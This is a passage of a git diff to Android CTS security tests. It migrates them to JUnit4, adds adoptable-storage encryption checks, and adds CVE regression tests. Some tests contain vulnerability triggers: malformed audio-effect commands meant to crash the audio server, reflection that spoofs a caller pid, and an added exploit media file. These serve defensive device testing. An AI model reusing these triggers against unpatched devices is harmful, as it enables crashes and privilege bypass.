+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+parcelable BitmapWrapper;
+
+interface IBitmapService {
+    int getAllocationSize(in BitmapWrapper bitmap);
+    boolean didReceiveBitmap(in BitmapWrapper bitmap);
+    boolean ping();
+}
diff --git a/tests/tests/security/native/encryption/Android.bp b/tests/tests/security/native/encryption/Android.bp
index 35eff99..d95cc83 100644
--- a/tests/tests/security/native/encryption/Android.bp
+++ b/tests/tests/security/native/encryption/Android.bp
@@ -17,6 +17,7 @@
     ],
     static_libs: [
         "libctssecurity_native_test_utils",
+        "libfscrypt",
     ],
     multilib: {
         lib32: {
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index e5d824c..a8f87229 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -14,7 +14,12 @@
  * limitations under the License.
  */
 
+#include <android-base/properties.h>
+#include <android-base/unique_fd.h>
+#include <cutils/properties.h>
 #include <fcntl.h>
+#include <fscrypt/fscrypt.h>
+#include <gtest/gtest.h>
 #include <linux/fscrypt.h>
 #include <setjmp.h>
 #include <signal.h>
@@ -22,21 +27,12 @@
 #include <sys/ioctl.h>
 #include <unistd.h>
 
-#include <android-base/unique_fd.h>
-#include <cutils/properties.h>
-#include <gtest/gtest.h>
-
 #include "utils.h"
 
 // Non-upstream encryption modes that are used on some devices.
 #define FSCRYPT_MODE_AES_256_HEH 126
 #define FSCRYPT_MODE_PRIVATE 127
 
-// The relevant Android API levels
-#define Q_API_LEVEL 29
-#define R_API_LEVEL 30
-#define S_API_LEVEL 31
-
 #ifdef __arm__
 // For ARM32, assemble the 'aese.8' instruction as an .inst, since otherwise
 // clang does not accept it.  It would be allowed in a separate file compiled
@@ -162,9 +158,15 @@
 // Ideally we'd check whether /data is on eMMC, but that is hard to do from a
 // CTS test.  To keep things simple we just check whether the system knows about
 // at least one eMMC device.
-static bool usingEmmcStorage() {
+//
+// virtio devices may provide inline encryption support that is backed by eMMC
+// inline encryption on the host, thus inheriting the DUN size limitation.  So
+// virtio devices must be allowed here too.  TODO(b/207390665): check the
+// maximum DUN size directly instead.
+static bool mightBeUsingEmmcStorage() {
     struct stat stbuf;
-    return lstat("/sys/class/block/mmcblk0", &stbuf) == 0;
+    return lstat("/sys/class/block/mmcblk0", &stbuf) == 0 ||
+            lstat("/sys/class/block/vda", &stbuf) == 0;
 }
 
 // CDD 9.9.3/C-1-15: must not reuse IVs for file contents encryption except when
@@ -173,9 +175,10 @@
 // likely case where this requirement wouldn't be met is a misconfiguration
 // where FSCRYPT_POLICY_FLAG_IV_INO_LBLK_32 ("emmc_optimized" in the fstab) is
 // used on a non-eMMC based device.  CTS can test for that, so we do so below.
-static void validateEncryptionFlags(int flags) {
+static void validateEncryptionFlags(int flags, bool is_adoptable_storage) {
     if (flags & FSCRYPT_POLICY_FLAG_IV_INO_LBLK_32) {
-        EXPECT_TRUE(usingEmmcStorage());
+        EXPECT_TRUE(mightBeUsingEmmcStorage());
+        EXPECT_FALSE(is_adoptable_storage);
     }
 }
 
@@ -186,14 +189,53 @@
 // way to configure different directories to use different algorithms...
 #define DIR_TO_CHECK "/data/local/tmp/"
 
-// Test that the device is using appropriate encryption algorithms for
-// file-based encryption.  If this test fails, you should ensure the device's
-// fstab has the correct fileencryption= option for the userdata partition.  See
+static std::string loggedGetProperty(const std::string &name, const std::string &default_value) {
+    auto value = android::base::GetProperty(name, "");
+    if (value == "" && default_value != "") {
+        GTEST_LOG_(INFO) << name << "=\"\" [defaults to \"" << default_value << "\"]";
+        return default_value;
+    }
+    GTEST_LOG_(INFO) << name << "=\"" << value << "\"";
+    return value;
+}
+
+static void validateAdoptableStorageSettings(int first_api_level) {
+    GTEST_LOG_(INFO) << "Validating FBE settings for adoptable storage";
+
+    // Determine the options string being used.  This matches the logic in vold.
+    auto contents_mode = loggedGetProperty("ro.crypto.volume.contents_mode", "");
+    auto filenames_mode =
+            loggedGetProperty("ro.crypto.volume.filenames_mode",
+                              first_api_level > __ANDROID_API_Q__ ? "" : "aes-256-heh");
+    auto options_string =
+            loggedGetProperty("ro.crypto.volume.options", contents_mode + ":" + filenames_mode);
+
+    // Parse the options string.
+    android::fscrypt::EncryptionOptions options;
+    ASSERT_TRUE(android::fscrypt::ParseOptions(options_string, &options));
+
+    // Log the full options for debugging purposes.
+    std::string options_string_full;
+    ASSERT_TRUE(android::fscrypt::OptionsToString(options, &options_string_full));
+    GTEST_LOG_(INFO) << "options_string_full=\"" << options_string_full << "\"";
+
+    // Validate the encryption options.
+    if (first_api_level > __ANDROID_API_Q__) {
+        // CDD 9.9.3/C-1-13 and 9.9.3/C-1-14, same as internal storage.
+        EXPECT_EQ(2, options.version);
+    }
+    validateEncryptionModes(options.contents_mode, options.filenames_mode, options.version == 1);
+    validateEncryptionFlags(options.flags, true);
+}
+
+// Test that the device is using appropriate settings for file-based encryption.
+// If this test fails, you should ensure that the device's fstab has the correct
+// fileencryption= option for the userdata partition and that the ro.crypto
+// system properties have been set to the correct values.  See
 // https://source.android.com/security/encryption/file-based.html
 TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
     int first_api_level = getFirstApiLevel();
     int vendor_api_level = getVendorApiLevel();
-    char crypto_type[PROPERTY_VALUE_MAX];
     struct fscrypt_get_policy_ex_arg arg;
     int res;
     int contents_mode;
@@ -201,13 +243,7 @@
     int flags;
     bool allow_legacy_modes = false;
 
-    android::base::unique_fd fd(open(DIR_TO_CHECK, O_RDONLY | O_CLOEXEC));
-    if (fd < 0) {
-        FAIL() << "Failed to open " DIR_TO_CHECK ": " << strerror(errno);
-    }
-
-    property_get("ro.crypto.type", crypto_type, "");
-    GTEST_LOG_(INFO) << "ro.crypto.type is '" << crypto_type << "'";
+    std::string crypto_type = loggedGetProperty("ro.crypto.type", "");
     GTEST_LOG_(INFO) << "First API level is " << first_api_level;
     GTEST_LOG_(INFO) << "Vendor API level is " << vendor_api_level;
 
@@ -215,13 +251,20 @@
     // SC or later.
     int min_api_level = (first_api_level < vendor_api_level) ? first_api_level
                                                              : vendor_api_level;
-    if (min_api_level >= S_API_LEVEL &&
-       !deviceSupportsFeature("android.hardware.security.model.compatible")) {
+    if (min_api_level >= __ANDROID_API_S__ &&
+        !deviceSupportsFeature("android.hardware.security.model.compatible")) {
         GTEST_SKIP()
             << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
         return;
     }
 
+    GTEST_LOG_(INFO) << "Validating FBE settings for internal storage";
+
+    android::base::unique_fd fd(open(DIR_TO_CHECK, O_RDONLY | O_CLOEXEC));
+    if (fd < 0) {
+        FAIL() << "Failed to open " DIR_TO_CHECK ": " << strerror(errno);
+    }
+
     // Note: SELinux policy allows the shell domain to use these ioctls, but not
     // apps.  Therefore this test needs to be a real native test that's run
     // through the shell, not a JNI test run through an installed APK.
@@ -240,12 +283,12 @@
 
             // Starting with Android 10, file-based encryption is required on
             // new devices [CDD 9.9.2/C-0-3].
-            if (first_api_level < Q_API_LEVEL) {
+            if (first_api_level < __ANDROID_API_Q__) {
                 GTEST_LOG_(INFO)
                         << "Exempt from file-based encryption due to old starting API level";
                 return;
             }
-            if (strcmp(crypto_type, "managed") == 0) {
+            if (crypto_type == "managed") {
                 // Android is running in a virtualized environment and the file system is encrypted
                 // by the host system.
                 GTEST_LOG_(INFO) << "Exempt from file-based encryption because the file system is "
@@ -272,9 +315,9 @@
             // never be never reused for different cryptographic purposes
             // [CDD 9.9.3/C-1-14].  Effectively, these requirements mean that
             // the fscrypt policy version must not be v1.  If this part of the
-            // test fails, make sure the device's fstab has something like
-            // "fileencryption=aes-256-xts:aes-256-cts:v2".
-            if (first_api_level < R_API_LEVEL) {
+            // test fails, make sure the device's fstab doesn't contain the "v1"
+            // flag in the argument to the fileencryption option.
+            if (first_api_level < __ANDROID_API_R__) {
                 GTEST_LOG_(INFO) << "Exempt from non-reversible FBE key derivation due to old "
                                     "starting API level";
                 // On these old devices we also allow the use of some custom
@@ -299,6 +342,7 @@
     GTEST_LOG_(INFO) << "Filenames encryption mode: " << filenames_mode;
 
     validateEncryptionModes(contents_mode, filenames_mode, allow_legacy_modes);
+    validateEncryptionFlags(flags, false);
 
-    validateEncryptionFlags(flags);
+    validateAdoptableStorageSettings(first_api_level);
 }
diff --git a/tests/tests/security/native/encryption/OWNERS b/tests/tests/security/native/encryption/OWNERS
new file mode 100644
index 0000000..bfe470d
--- /dev/null
+++ b/tests/tests/security/native/encryption/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 49763
+paulcrowley@google.com
+ebiggers@google.com
diff --git a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
index 424da9a9..ac9074c 100644
--- a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
+++ b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
@@ -66,7 +66,13 @@
   ASSERT_TRUE(ReadDefaultFstab(&fstab)) << "Failed to read default fstab";
 
   for (const auto& entry : fstab) {
-    if (!entry.fs_mgr_flags.verify && !entry.fs_mgr_flags.avb) {
+    if (!entry.fs_mgr_flags.avb) {
+      continue;
+    }
+
+    if (mount_points.find(entry.mount_point) == mount_points.end()) {
+      GTEST_LOG_(INFO) << entry.mount_point << " isn't mounted, skipping"
+          << " hashtree algorithm verification";
       continue;
     }
 
diff --git a/tests/tests/security/res/raw/cve_2020_11135.mp4 b/tests/tests/security/res/raw/cve_2020_11135.mp4
new file mode 100644
index 0000000..55b6955
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11135.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 9480251..f16b8fb 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,26 +15,30 @@
  */
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.app.ActivityManager;
 import android.app.ApplicationExitInfo;
 import android.content.Context;
 import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
 
 import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import junit.framework.TestCase;
 
 import java.lang.reflect.InvocationTargetException;
 
-public class ActivityManagerTest extends TestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
 
     @AsbSecurityTest(cveBugId = 19394591)
+    @Test
     public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
         try {
             /*
@@ -53,6 +57,7 @@
 
     // b/144285917
     @AsbSecurityTest(cveBugId = 144285917)
+    @Test
     public void testActivityManager_attachNullApplication() {
         SecurityException securityException = null;
         Exception unexpectedException = null;
@@ -81,6 +86,7 @@
 
     // b/166667403
     @AsbSecurityTest(cveBugId = 166667403)
+    @Test
     public void testActivityManager_appExitReasonPackageNames() {
         final String mockPackage = "com.foo.bar";
         final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index 5d297c6..fca75a2 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -19,21 +19,28 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-public class AllocatePixelRefIntOverflowTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AllocatePixelRefIntOverflowTest extends StsExtraBusinessLogicTestCase {
 
     /**
      * Verifies that the device is not vulnerable to ANDROID-19270126: Android
      * BitmapFactory.decodeStream JPG allocPixelRef integer overflow
      */
     @AsbSecurityTest(cveBugId = 19394591)
+    @Test
     public void testAllocateJavaPixelRefIntOverflow() {
-        InputStream exploitImage = mContext.getResources().openRawResource(
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.cve_2015_1531_b_19270126);
         /**
          * The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 73536e3..397c012 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.os.BaseBundle;
@@ -27,21 +27,29 @@
 import android.view.View;
 import android.view.View.BaseSavedState;
 import android.annotation.SuppressLint;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 import java.lang.reflect.Field;
 import java.util.Random;
 
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 import android.security.cts.R;
 import android.platform.test.annotations.AsbSecurityTest;
 
-public class AmbiguousBundlesTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase {
 
     /**
      * b/140417434
      * Vulnerability Behaviour: Failure via Exception
      */
     @AsbSecurityTest(cveBugId = 140417434)
+    @Test
     public void test_android_CVE_2020_0082() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -180,6 +188,7 @@
      * b/71992105
      */
     @AsbSecurityTest(cveBugId = 71992105)
+    @Test
     public void test_android_CVE_2017_13310() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -270,6 +279,7 @@
      * b/71508348
      */
     @AsbSecurityTest(cveBugId = 71508348)
+    @Test
     public void test_android_CVE_2018_9339() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -373,6 +383,7 @@
      * b/62998805
      */
     @AsbSecurityTest(cveBugId = 62998805)
+    @Test
     public void test_android_CVE_2017_0806() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
@@ -436,6 +447,7 @@
      * b/73252178
      */
     @AsbSecurityTest(cveBugId = 73252178)
+    @Test
     public void test_android_CVE_2017_13311() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
@@ -530,6 +542,7 @@
      * b/71714464
      */
     @AsbSecurityTest(cveBugId = 71714464)
+    @Test
     public void test_android_CVE_2017_13287() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
diff --git a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
index 7b26ff0..ca85b65 100644
--- a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
+++ b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
@@ -25,6 +25,7 @@
 
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import static org.junit.Assert.assertFalse;
 import org.junit.Test;
@@ -34,9 +35,9 @@
 import java.lang.reflect.Field;
 
 @RunWith(AndroidJUnit4.class)
-public class AndroidFutureTest {
+public class AndroidFutureTest extends StsExtraBusinessLogicTestCase {
 
-    @AsbSecurityTest(cveBugId = 186530450)
+    @AsbSecurityTest(cveBugId =  197228210)
     @Test
     public void testAndroidFutureReadThrowable() throws Exception {
         String filePath = "/data/system/" + System.currentTimeMillis();
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
index 10e1c20..684fa6f 100644
--- a/tests/tests/security/src/android/security/cts/AssetManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -19,13 +19,19 @@
 import android.content.res.AssetManager;
 import android.content.res.XmlResourceParser;
 import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
-public class AssetManagerTest extends CtsAndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class AssetManagerTest extends StsExtraBusinessLogicTestCase {
 
     // b/144028297
     @AsbSecurityTest(cveBugId = 144028297)
+    @Test
     public void testCloseThenFinalize() throws Exception {
         final XmlResourceParser[] parser = {null};
         final AssetManager[] assetManager = {AssetManager.class.newInstance()};
diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
new file mode 100644
index 0000000..e36fa49
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import java.lang.reflect.Field;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.AttributionSource;
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+
+@RunWith(AndroidJUnit4.class)
+public class AttributionSourceTest {
+
+    @AsbSecurityTest(cveBugId = 200288596)
+    @Test
+    public void testPidCheck() throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+        AttributionSource attributionSource =
+                new AttributionSource(
+                        (AttributionSource)
+                                Context.class.getMethod("getAttributionSource").invoke(context),
+                        null);
+
+        Field attSourceStateField =
+                attributionSource.getClass().getDeclaredField("mAttributionSourceState");
+        attSourceStateField.setAccessible(true);
+
+        Object attSourceState = attSourceStateField.get(attributionSource);
+        attSourceState.getClass().getField("pid").setInt(attSourceState, 0);
+        final AttributionSource attributionSourceFinal = attributionSource;
+        assertThrows(SecurityException.class, () -> attributionSourceFinal.enforceCallingPid());
+    }
+}
+
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 1e1878d..4c8fec8 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -23,14 +23,20 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import static org.junit.Assert.*;
 
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
 import java.util.Arrays;
 import java.util.UUID;
 
-public class AudioSecurityTest extends CtsAndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AudioSecurityTest extends StsExtraBusinessLogicTestCase {
     private static final String TAG = "AudioSecurityTest";
 
     private static final int ERROR_DEAD_OBJECT = -7; // AudioEffect.ERROR_DEAD_OBJECT
@@ -58,30 +64,33 @@
 
     private static void testAllEffects(String testName, TestEffect testEffect) throws Exception {
         int failures = 0;
-        for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
-            final AudioEffect audioEffect;
-            try {
-                audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
-                        UUID.class, UUID.class, int.class, int.class).newInstance(
-                                descriptor.type,
-                                descriptor.uuid, // uuid overrides type
-                                0 /* priority */, 0 /* audioSession */);
-            } catch (Exception e) {
-                Log.w(TAG, "effect " + testName + " " + descriptor.name
-                        + " cannot be created (ignoring)");
-                continue; // OK;
-            }
-            try {
-                testEffect.test(audioEffect);
-                Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
-            } catch (Exception e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
-                        e);
-                ++failures;
-            } catch (AssertionError e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
-                        e);
-                ++failures;
+        AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+        if (descriptors != null) {
+            for (AudioEffect.Descriptor descriptor : descriptors) {
+                final AudioEffect audioEffect;
+                try {
+                    audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
+                            UUID.class, UUID.class, int.class, int.class).newInstance(
+                                    descriptor.type,
+                                    descriptor.uuid, // uuid overrides type
+                                    0 /* priority */, 0 /* audioSession */);
+                } catch (Exception e) {
+                    Log.w(TAG, "effect " + testName + " " + descriptor.name
+                            + " cannot be created (ignoring)");
+                    continue; // OK;
+                }
+                try {
+                    testEffect.test(audioEffect);
+                    Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
+                } catch (Exception e) {
+                    Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
+                            e);
+                    ++failures;
+                } catch (AssertionError e) {
+                    Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
+                            e);
+                    ++failures;
+                }
             }
         }
         assertEquals("found " + testName + " " + failures + " failures",
@@ -90,6 +99,7 @@
 
     // b/28173666
     @AsbSecurityTest(cveBugId = 28173666)
+    @Test
     public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
         testAllEffects("get parameter attempt offload",
                 new TestEffect() {
@@ -104,6 +114,7 @@
     // b/32624850
     // b/32635664
     @AsbSecurityTest(cveBugId = 32438594)
+    @Test
     public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
         testAllEffects("get parameter2 attempt offload",
                 new TestEffect() {
@@ -116,6 +127,7 @@
 
     // b/30204301
     @AsbSecurityTest(cveBugId = 30204301)
+    @Test
     public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
         testAllEffects("set parameter attempt offload",
                 new TestEffect() {
@@ -128,6 +140,7 @@
 
     // b/37536407
     @AsbSecurityTest(cveBugId = 32448258)
+    @Test
     public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
         testAllEffects("equalizer get parameter name",
                 new TestEffect() {
@@ -355,6 +368,7 @@
 
     // b/31781965
     @AsbSecurityTest(cveBugId = 31781965)
+    @Test
     public void testVisualizerCapture_CVE_2017_0396() throws Exception {
         // Capture params
         final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
@@ -371,89 +385,93 @@
         final int bufferSize = bufferSamples * 2; // bytes per sample for 16 bits
         final short data[] = new short[bufferSamples]; // zero data
 
-        for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
-            if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
-                continue;
-            }
-
-            AudioEffect audioEffect = null;
-            AudioTrack audioTrack = null;
-
-            try {
-                // create track and play
-                {
-                    audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
-                            AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
-                            AudioTrack.MODE_STATIC);
-                    assertEquals("Cannot write to audio track",
-                            bufferSamples,
-                            audioTrack.write(data, 0 /* offsetInBytes */, data.length));
-                    assertEquals("AudioTrack not initialized",
-                            AudioTrack.STATE_INITIALIZED,
-                            audioTrack.getState());
-                    assertEquals("Cannot set loop points",
-                            android.media.AudioTrack.SUCCESS,
-                            audioTrack.setLoopPoints(0 /* startInFrames */, bufferFrames, loops));
-                    audioTrack.play();
+        AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+        if (descriptors != null) {
+            for (AudioEffect.Descriptor descriptor : descriptors) {
+                if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
+                    continue;
                 }
 
-                // wait for track to really begin playing
-                Thread.sleep(200 /* millis */);
+                AudioEffect audioEffect = null;
+                AudioTrack audioTrack = null;
 
-                // create effect
-                {
-                    audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
-                            UUID.class, UUID.class, int.class, int.class).newInstance(
-                                    descriptor.type, descriptor.uuid, 0 /* priority */,
-                                    audioTrack.getAudioSessionId());
-                }
+                try {
+                    // create track and play
+                    {
+                        audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
+                                AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
+                                AudioTrack.MODE_STATIC);
+                        assertEquals("Cannot write to audio track",
+                                bufferSamples,
+                                audioTrack.write(data, 0 /* offsetInBytes */, data.length));
+                        assertEquals("AudioTrack not initialized",
+                                AudioTrack.STATE_INITIALIZED,
+                                audioTrack.getState());
+                        assertEquals("Cannot set loop points",
+                                android.media.AudioTrack.SUCCESS,
+                                audioTrack.setLoopPoints(
+                                        0 /* startInFrames */, bufferFrames, loops));
+                        audioTrack.play();
+                    }
 
-                // set capture size
-                {
-                    byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
-                            .order(ByteOrder.nativeOrder())
-                            .putInt(0)                             // status (unused)
-                            .putInt(4)                             // psize (sizeof(param))
-                            .putInt(4)                             // vsize (sizeof(value))
-                            .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
-                            .putInt(CAPTURE_SIZE)                  // data[4] (value)
-                            .array();
+                    // wait for track to really begin playing
+                    Thread.sleep(200 /* millis */);
 
-                    Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
-                            "command", int.class, byte[].class, byte[].class).invoke(
-                                    audioEffect,
-                                    EFFECT_CMD_SET_PARAM,
-                                    command, new byte[4] /* reply */);
-                    Log.d(TAG, "setparam returns " + ret);
-                    assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
-                }
+                    // create effect
+                    {
+                        audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
+                                UUID.class, UUID.class, int.class, int.class).newInstance(
+                                        descriptor.type, descriptor.uuid, 0 /* priority */,
+                                        audioTrack.getAudioSessionId());
+                    }
 
-                // enable effect
-                {
-                    final int ret = audioEffect.setEnabled(true);
-                    assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
-                }
+                    // set capture size
+                    {
+                        byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
+                                .order(ByteOrder.nativeOrder())
+                                .putInt(0)                             // status (unused)
+                                .putInt(4)                             // psize (sizeof(param))
+                                .putInt(4)                             // vsize (sizeof(value))
+                                .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
+                                .putInt(CAPTURE_SIZE)                  // data[4] (value)
+                                .array();
 
-                // wait for track audio data to be processed, otherwise capture
-                // will not really return audio data.
-                Thread.sleep(200 /* millis */);
+                        Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+                                "command", int.class, byte[].class, byte[].class).invoke(
+                                        audioEffect,
+                                        EFFECT_CMD_SET_PARAM,
+                                        command, new byte[4] /* reply */);
+                        Log.d(TAG, "setparam returns " + ret);
+                        assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+                    }
 
-                // capture data
-                {
-                    Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
-                            "command", int.class, byte[].class, byte[].class).invoke(
-                                    audioEffect,
-                                    VISUALIZER_CMD_CAPTURE,
-                                    new byte[0] /* command */, captureBuf /* reply */);
-                    Log.d(TAG, "capture returns " + ret);
-                    assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
-                }
-            } finally {
-                if (audioEffect != null) {
-                    audioEffect.release();
-                }
-                if (audioTrack != null) {
-                    audioTrack.release();
+                    // enable effect
+                    {
+                        final int ret = audioEffect.setEnabled(true);
+                        assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
+                    }
+
+                    // wait for track audio data to be processed, otherwise capture
+                    // will not really return audio data.
+                    Thread.sleep(200 /* millis */);
+
+                    // capture data
+                    {
+                        Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+                                "command", int.class, byte[].class, byte[].class).invoke(
+                                        audioEffect,
+                                        VISUALIZER_CMD_CAPTURE,
+                                        new byte[0] /* command */, captureBuf /* reply */);
+                        Log.d(TAG, "capture returns " + ret);
+                        assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+                    }
+                } finally {
+                    if (audioEffect != null) {
+                        audioEffect.release();
+                    }
+                    if (audioTrack != null) {
+                        audioTrack.release();
+                    }
                 }
             }
         }
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index 20ac03a..f441c78 100644
